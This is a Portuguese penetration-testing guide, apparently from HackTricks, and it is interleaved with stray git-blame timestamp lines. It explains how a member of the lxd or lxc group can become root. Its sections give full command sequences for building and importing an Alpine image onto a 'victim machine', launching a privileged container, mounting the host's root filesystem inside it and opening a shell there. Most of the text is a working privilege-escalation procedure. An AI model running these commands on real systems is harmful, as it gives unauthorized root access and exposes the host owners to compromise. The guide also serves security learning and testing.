Se você pertence ao grupo _**lxd**_ **ou** _**lxc**_, pode se tornar root.
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
## Explorando sem internet
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
### Método 1
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
Você pode instalar em sua máquina este construtor de distribuição: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (siga as instruções do github):
2020-08-20 11:59:57 +00:00
```bash
2021-08-22 02:17:22 +00:00
sudo su
2020-08-20 11:59:57 +00:00
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
2020-08-20 11:59:57 +00:00
#Clone repo
git clone https://github.com/lxc/distrobuilder
2020-08-20 11:59:57 +00:00
#Make distrobuilder
2022-05-20 20:08:30 +00:00
cd distrobuilder
2020-08-20 11:59:57 +00:00
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
2021-08-22 02:17:22 +00:00
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
2020-08-20 11:59:57 +00:00
```
2023-06-06 18:56:34 +00:00
Em seguida, faça o upload dos arquivos **lxd.tar.xz** e **rootfs.squashfs** para o servidor vulnerável.
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
Adicione a imagem:
2020-08-20 11:59:57 +00:00
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
2023-06-06 18:56:34 +00:00
# Criando um contêiner e adicionando o caminho raiz
Para realizar a escalada de privilégios em um contêiner LXD, é necessário criar um novo contêiner e adicionar o caminho raiz. Para isso, siga os seguintes passos:
1. Crie um novo contêiner LXD:
```
$ lxc init <image> <container>
```
2. Inicie o contêiner:
```
$ lxc start <container>
```
3. Adicione o caminho raiz:
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
```
$ lxc config device add <container> root disk source=/ path=/mnt/root recursive=true
```
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
Agora você pode acessar o caminho raiz do contêiner e realizar a escalada de privilégios.
2020-08-20 11:59:57 +00:00
```bash
2023-05-08 10:28:14 +00:00
lxc init alpine privesc -c security.privileged=true
2020-08-20 11:59:57 +00:00
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
2021-08-22 02:17:22 +00:00
{% hint style="danger" %}
2023-06-06 18:56:34 +00:00
Se você encontrar este erro _**Error: No storage pool found. Please create a new storage pool**_\
Execute **`lxd init`** e **repita** o trecho de comandos anterior
2021-08-22 02:17:22 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
Execute o container:
2020-08-20 11:59:57 +00:00
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
2023-06-06 18:56:34 +00:00
### Método 2
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
Construa uma imagem Alpine e inicie-a usando a flag `security.privileged=true`, forçando o contêiner a interagir como root com o sistema de arquivos do host.
2020-08-20 11:59:57 +00:00
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
2021-04-11 09:10:57 +00:00
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
2020-10-30 02:21:51 +00:00
2020-08-20 11:59:57 +00:00
# import the image
2021-04-11 09:10:57 +00:00
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
2020-11-17 21:38:49 +00:00
# before running the image, start and configure the lxd storage pool as default
lxd init
2020-08-20 11:59:57 +00:00
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```

## Com internet
2020-08-20 11:59:57 +00:00
2023-06-06 18:56:34 +00:00
Você pode seguir [estas instruções](https://reboare.github.io/lxd/lxd-escape.html).
2020-08-20 11:59:57 +00:00
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
